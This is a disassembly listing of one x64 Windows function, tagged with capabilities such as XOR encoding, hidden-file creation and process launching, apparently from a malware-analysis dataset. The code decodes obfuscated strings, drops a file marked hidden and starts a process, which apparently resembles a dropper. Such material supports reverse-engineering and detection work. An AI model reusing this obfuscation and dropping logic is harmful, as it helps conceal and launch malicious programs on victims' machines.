Function at 0x1400171a0
Capabilities:
Check if file exists
Create directory
Create process on windows
Create process suspended
Encode data using xor
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x1400740c0]
xor rax, rsp
mov qword [rbp + 0x550], rax
call fcn.14001b9e0
lea r9, str.IeWK1T4c29OuSmNYnFyF981Id
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r12, rax
mov qword [rsp + 0x78], rax
test rax, rax
je 0x140018459
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14001721f
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140018457
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xor r13d, r13d
mov qword [rbp + 0x3c0], r13
mov qword [rbp + 0x3c8], r13
lea rdx, str.___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________._____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], r13b
jne 0x140017250
lea rcx, [rbp + 0x3b0]
call fcn.140002e60
nop
call fcn.140018cf0
mov r10, rax
cmp byte [rax + 0x4d], 0
je 0x1400173c4
lea r11, [rax + 2]
mov edi, 1
sub rdi, rax
mov rsi, 0xfffffffffffffffa
sub rsi, rax
mov r14, 0xfffffffffffffffb
sub r14, rax
mov r15, 0xfffffffffffffffc
sub r15, rax
mov r12, 0xfffffffffffffffd
sub r12, rax
mov r13, rbx
sub r13, rax
mov rbx, 0xfffffffffffffffe
sub rbx, rax
movabs rax, 0x9d3fe36fdf390927
nop word [rax + rax]
lea ecx, [r11 + rbx]
and cl, 7
shl cl, 3
mov r9, rax
shr r9, cl
xor byte [r11 - 2], r9b
lea ecx, [r11 + r13]
and cl, 7
shl cl, 3
mov r8, rax
shr r8, cl
xor byte [r11 - 1], r8b
movzx ecx, r11b
sub cl, r10b
and cl, 7
shl cl, 3
mov rdx, rax
shr rdx, cl
xor byte [r11], dl
lea ecx, [r11 + rdi]
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r11 + 1], al
lea ecx, [r11 + rsi]
and cl, 7
shl cl, 3
movabs rax, 0x9d3fe36fdf390927
shr rax, cl
xor byte [r11 + 2], al
lea ecx, [r11 + r14]
and cl, 7
shl cl, 3
movabs rax, 0x9d3fe36fdf390927
shr rax, cl
xor byte [r11 + 3], al
lea ecx, [r11 + r15]
and cl, 7
shl cl, 3
movabs rax, 0x9d3fe36fdf390927
shr rax, cl
xor byte [r11 + 4], al
lea ecx, [r11 + r12]
and cl, 7
shl cl, 3
movabs rax, 0x9d3fe36fdf390927
shr rax, cl
xor byte [r11 + 5], al
xor byte [r11 + 6], r9b
xor byte [r11 + 7], r8b
xor byte [r11 + 8], dl
add r11, 0xb
lea rax, [rbx + r11]
cmp rax, 0x4d
movabs rax, 0x9d3fe36fdf390927
jb 0x1400172d0
mov byte [r10 + 0x4d], 0
mov r12, qword [rsp + 0x78]
xor r13d, r13d
lea rbx, [r13 - 1]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], r13
mov qword [rbp + 0x308], r13
mov r8, rbx
nop
inc r8
cmp byte [r10 + r8], 0
jne 0x1400173e0
mov rdx, r10
lea rcx, [rbp + 0x2f0]
call fcn.140002e60
nop
call fcn.140018e00
mov rcx, rax
call fcn.14001acc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], r13
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140017422
mov rdx, rcx
lea rcx, [rbp + 0x370]
call fcn.140002e60
nop
call fcn.140018ef0
mov rcx, rax
call fcn.14001abc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], r13
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140017464
mov rdx, rcx
lea rcx, [rbp + 0x390]
call fcn.140002e60
nop
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x440]
call fcn.1400395b0
mov ebx, 2
mov r8d, ebx
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x440]
call fcn.14001a040
nop
lea r15d, [rbx + 4]
cmp qword [rbp + 0x4c8], 0
je 0x140017552
lea rdx, [rbp + 0x3b0]
cmp qword [rbp + 0x3c8], 0xf
cmova rdx, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x3c0]
lea rcx, [rbp + 0x440]
call fcn.140003430
lea rcx, [rbp + 0x448]
call fcn.14001aac0
test rax, rax
jne 0x140017533
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx + 0x488], 0
cmovne eax, ebx
or eax, dword [rbp + rcx + 0x450]
and eax, 0x17
mov dword [rbp + rcx + 0x450], eax
and eax, dword [rbp + rcx + 0x454]
jne 0x140018b88
lea rcx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0xf
cmova rcx, qword [rbp + 0x2f0]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movdqa xmm0, xmmword [0x14006ae80]
mov dword [rbp + 0x2a0], 0x1f2279db
mov dword [rbp + 0x2a4], 0xae6d2abf
mov dword [rbp + 0x2a8], 0x192e5fe9
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2888
mov eax, dword [rcx + rdi]
mov ebx, 0x2a28
test al, 1
jne 0x140017608
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rbp + 0x2ac]
cmp rcx, rdx
ja 0x1400175de
lea rdx, [rbp + 0x290]
cmp rax, rdx
jb 0x1400175de
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2a0]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2a8]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xdb
jmp 0x1400175fb
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2a0]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2a8]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xdb
lea rcx, [0x14003ada0]
call fcn.14001daf8
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1d], 0
je 0x140017689
xor byte [rdx], 0x87
xor byte [rdx + 1], 0x3b
xor byte [rdx + 2], 0x4b
xor byte [rdx + 3], 0x6b
xor byte [rdx + 4], 0xdb
xor byte [rdx + 5], 0x4f
xor byte [rdx + 6], 0xb
xor byte [rdx + 7], 0xcb
xor byte [rdx + 8], 0x87
xor byte [rdx + 9], 0x3b
xor byte [rdx + 0xa], 0x4b
xor byte [rdx + 0xb], 0x6b
xor byte [rdx + 0xc], 0xdb
xor byte [rdx + 0xd], 0x4f
xor byte [rdx + 0xe], 0xb
xor byte [rdx + 0xf], 0xcb
xor byte [rdx + 0x10], 0x87
xor byte [rdx + 0x11], 0x3b
xor byte [rdx + 0x12], 0x4b
xor byte [rdx + 0x13], 0x6b
xor byte [rdx + 0x14], 0xdb
xor byte [rdx + 0x15], 0x4f
xor byte [rdx + 0x16], 0xb
xor byte [rdx + 0x17], 0xcb
xor byte [rdx + 0x18], 0x87
xor byte [rdx + 0x19], 0x3b
xor byte [rdx + 0x1a], 0x4b
xor byte [rdx + 0x1b], 0x6b
xor byte [rdx + 0x1c], 0xdb
mov byte [rdx + 0x1d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], r13
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400176b0
lea rcx, [rbp + 0x350]
call fcn.140002e60
nop
lea rcx, [rbp + 0x350]
mov rbx, qword [rbp + 0x360]
cmp qword [rbp + 0x368], 0xf
jbe 0x1400176eb
mov rsi, qword [rbp + 0x350]
add rbx, rsi
jmp 0x1400176f5
add rbx, rcx
lea rsi, [rbp + 0x350]
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov eax, 0xa
movabs r14, 0x7ffffffffffffffe
cmp rsi, rbx
jne 0x140017732
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
jmp 0x1400177fb
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x220], rdx
mov r8d, 7
mov qword [rbp + 0x228], r8
cmp rdi, r14
ja 0x140018bde
cmp rdi, r8
jbe 0x1400177a3
or rdi, r8
cmp rdi, r14
jbe 0x14001776a
mov rdi, r14
jmp 0x140017771
cmp rdi, rax
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x210]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x228], r8
mov rdx, qword [rbp + 0x220]
lea rcx, [rbp + 0x210]
cmp r8, 7
cmova rcx, qword [rbp + 0x210]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x220]
inc rdx
mov qword [rbp + 0x220], rdx
inc rsi
cmp rsi, rbx
je 0x1400177df
mov r8, qword [rbp + 0x228]
jmp 0x1400177a3
lea rax, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rax, qword [rbp + 0x210]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14006adc0]
mov dword [rbp + 0x2e8], 0xd8932d5f
mov word [rbp + 0x2ec], 0x1180
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x28f4
mov eax, dword [rcx + rdi]
mov ebx, 0x28b8
test al, 1
jne 0x1400178a2
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp + 0x2ee]
cmp rcx, rdx
ja 0x14001787a
lea rdx, [rbp + 0x2d8]
cmp rax, rdx
jb 0x14001787a
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x2e8]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x2ec]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xb3
jmp 0x140017895
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x2e8]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x2ec]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xb3
lea rcx, [0x14003ad70]
call fcn.14001daf8
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x17], 0
je 0x14001790b
xor byte [rdx], 3
xor byte [rdx + 1], 0x69
xor byte [rdx + 2], 0xe1
xor byte [rdx + 3], 0x8f
xor byte [rdx + 4], 0xe5
xor byte [rdx + 5], 0x73
xor byte [rdx + 6], 0xb3
xor byte [rdx + 7], 0x29
xor byte [rdx + 8], 3
xor byte [rdx + 9], 0x69
xor byte [rdx + 0xa], 0xe1
xor byte [rdx + 0xb], 0x8f
xor byte [rdx + 0xc], 0xe5
xor byte [rdx + 0xd], 0x73
xor byte [rdx + 0xe], 0xb3
xor byte [rdx + 0xf], 0x29
xor byte [rdx + 0x10], 3
xor byte [rdx + 0x11], 0x69
xor byte [rdx + 0x12], 0xe1
xor byte [rdx + 0x13], 0x8f
xor byte [rdx + 0x14], 0xe5
xor byte [rdx + 0x15], 0x73
xor byte [rdx + 0x16], 0xb3
mov byte [rdx + 0x17], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], r13
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140017930
lea rcx, [rbp + 0x330]
call fcn.140002e60
nop
lea rcx, [rbp + 0x330]
mov rbx, qword [rbp + 0x340]
cmp qword [rbp + 0x348], 0xf
jbe 0x14001796b
mov rsi, qword [rbp + 0x330]
add rbx, rsi
jmp 0x140017975
add rbx, rcx
lea rsi, [rbp + 0x330]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
cmp rsi, rbx
jne 0x1400179a3
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
jmp 0x140017a78
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x200], rdx
mov r8d, 7
mov qword [rbp + 0x208], r8
cmp rdi, r14
ja 0x140018be4
cmp rdi, r8
jbe 0x140017a20
or rdi, r8
cmp rdi, r14
jbe 0x1400179db
mov rdi, r14
jmp 0x1400179e8
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1f0]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x208], r8
mov rdx, qword [rbp + 0x200]
nop word [rax + rax]
lea rcx, [rbp + 0x1f0]
cmp r8, 7
cmova rcx, qword [rbp + 0x1f0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x200]
inc rdx
mov qword [rbp + 0x200], rdx
inc rsi
cmp rsi, rbx
je 0x140017a5c
mov r8, qword [rbp + 0x208]
jmp 0x140017a20
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rax, qword [rbp + 0x1f0]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14006af50]
mov dword [rbp + 0x240], 0xc9a65f2d
mov dword [rbp + 0x244], 0xe637c12c
mov dword [rbp + 0x248], 0xcea76e17
mov word [rbp + 0x24c], 0xad28
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2a20
mov eax, dword [rcx + rdi]
mov ebx, 0x2890
test al, 1
jne 0x140017b49
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x24d]
cmp rcx, rdx
ja 0x140017b18
lea rdx, [rbp + 0x230]
cmp rax, rdx
jb 0x140017b18
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x240]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x248]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x24c]
mov word [rcx + 0x1c], ax
jmp 0x140017b3c
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x240]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x248]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x24c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003ad40]
call fcn.14001daf8
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0x1e], 0
je 0x140017bce
xor byte [rdx], 0x71
xor byte [rdx + 1], 0xb
xor byte [rdx + 2], 0xc9
xor byte [rdx + 3], 0xbd
xor byte [rdx + 4], 0x4d
xor byte [rdx + 5], 0xad
xor byte [rdx + 6], 0x73
xor byte [rdx + 7], 0x83
xor byte [rdx + 8], 0x71
xor byte [rdx + 9], 0xb
xor byte [rdx + 0xa], 0xc9
xor byte [rdx + 0xb], 0xbd
xor byte [rdx + 0xc], 0x4d
xor byte [rdx + 0xd], 0xad
xor byte [rdx + 0xe], 0x73
xor byte [rdx + 0xf], 0x83
xor byte [rdx + 0x10], 0x71
xor byte [rdx + 0x11], 0xb
xor byte [rdx + 0x12], 0xc9
xor byte [rdx + 0x13], 0xbd
xor byte [rdx + 0x14], 0x4d
xor byte [rdx + 0x15], 0xad
xor byte [rdx + 0x16], 0x73
xor byte [rdx + 0x17], 0x83
xor byte [rdx + 0x18], 0x71
xor byte [rdx + 0x19], 0xb
xor byte [rdx + 0x1a], 0xc9
xor byte [rdx + 0x1b], 0xbd
xor byte [rdx + 0x1c], 0x4d
xor byte [rdx + 0x1d], 0xad
mov byte [rdx + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], r13
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x140017bf0
lea rcx, [rbp + 0x310]
call fcn.140002e60
nop
lea rcx, [rbp + 0x310]
mov rbx, qword [rbp + 0x320]
cmp qword [rbp + 0x328], 0xf
jbe 0x140017c2b
mov rsi, qword [rbp + 0x310]
add rbx, rsi
jmp 0x140017c35
add rbx, rcx
lea rsi, [rbp + 0x310]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
cmp rsi, rbx
jne 0x140017c63
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
jmp 0x140017d3f
mov rax, rbx
sub rax, rsi
mov rdx, r13
mov qword [rbp + 0x1e0], rdx
mov edi, 7
mov qword [rbp + 0x1e8], rdi
cmp rax, r14
ja 0x140018bea
cmp rax, rdi
jbe 0x140017ce0
or rax, rdi
cmp rax, r14
ja 0x140017ca5
mov r14, rax
cmp rax, 0xa
mov eax, 0xa
cmovb r14, rax
lea rdi, [r14 + 1]
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1d0]
call fcn.140002df0
dec rdi
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1e8], rdi
mov rdx, qword [rbp + 0x1e0]
nop word [rax + rax]
lea rcx, [rbp + 0x1d0]
cmp rdi, 7
cmova rcx, qword [rbp + 0x1d0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x1e0]
inc rdx
mov qword [rbp + 0x1e0], rdx
inc rsi
cmp rsi, rbx
je 0x140017d1c
mov rdi, qword [rbp + 0x1e8]
jmp 0x140017ce0
lea rax, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rax, qword [rbp + 0x1d0]
mov word [rax + rdx*2], r13w
mov rdi, 0xffffffffffffffff
lea rcx, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rcx, qword [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea rsi, vtable.std::ios_base.0
cmp eax, 0xffffffff
je 0x140017d6c
test al, 0x10
jne 0x140017dc0
lea rcx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140017d92
test al, 0x10
jne 0x140017dc0
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140018489
test al, 0x10
je 0x140018489
call fcn.140018fd0
mov r9, rax
cmp byte [rax + 0x88], 0
je 0x140017e2f
lea rdx, [rax + 1]
mov r8, rdi
sub r8, rax
movabs r10, 0xf6b2b971f8d9361
nop word [rax + rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x88
jb 0x140017df0
mov byte [r9 + 0x88], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], r13
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140017e50
mov rdx, r9
lea rcx, [rbp + 0x2b0]
call fcn.140002e60
nop
lea r8, [rbp + 0x2b0]
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x270]
call fcn.14001afc0
nop
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0xf
jbe 0x140017ec6
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017ec1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018bf0
call fcn.14001d9e0
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], 0xf
mov byte [rbp + 0x2b0], 0
mov rcx, qword [rbp + 0x280]
inc rcx
mov eax, 2
mul rcx
cmovo rax, rdi
mov rcx, rax
call fcn.14001db90
mov rbx, rax
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
cmova r8, qword [rbp + 0x270]
mov ecx, dword [rbp + 0x280]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001d9e0
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x140018033
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001802e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018bf6
call fcn.14001d9e0
lea r14, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0xf
cmova rcx, qword [rbp + 0x2f0]
call fcn.140026340
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 7
jbe 0x1400180ad
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400180a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018bfc
call fcn.14001d9e0
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x140018108
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018103
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018cbc
call fcn.14001d9e0
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 7
jbe 0x140018167
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018162
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018cc2
call fcn.14001d9e0
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x1400181c2
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400181bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018cc8
call fcn.14001d9e0
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 7
jbe 0x140018221
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001821c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018cce
call fcn.14001d9e0
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x14001827c
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018277
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018cd4
call fcn.14001d9e0
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], 0
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], rbx
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x43c], edx
lea rcx, [rbp + 0x448]
call fcn.140019f90
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], r14
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x43c], edx
mov qword [rbp + 0x4e8], rsi
lea rcx, [rbp + 0x4e8]
call fcn.14001cf5c
nop
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0xf
jbe 0x140018349
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018344
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018cda
call fcn.14001d9e0
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], 0xf
mov byte [rbp + 0x390], 0
mov rdx, qword [rbp + 0x388]
cmp rdx, 0xf
jbe 0x1400183a3
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001839e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018ce0
call fcn.14001d9e0
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], 0xf
mov byte [rbp + 0x370], 0
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x1400183fd
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400183f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018ce6
call fcn.14001d9e0
mov qword [rbp + 0x300], r13
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], 0
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x140018457
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018452
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b82
call fcn.14001d9e0
xor eax, eax
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.14001d9c0
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
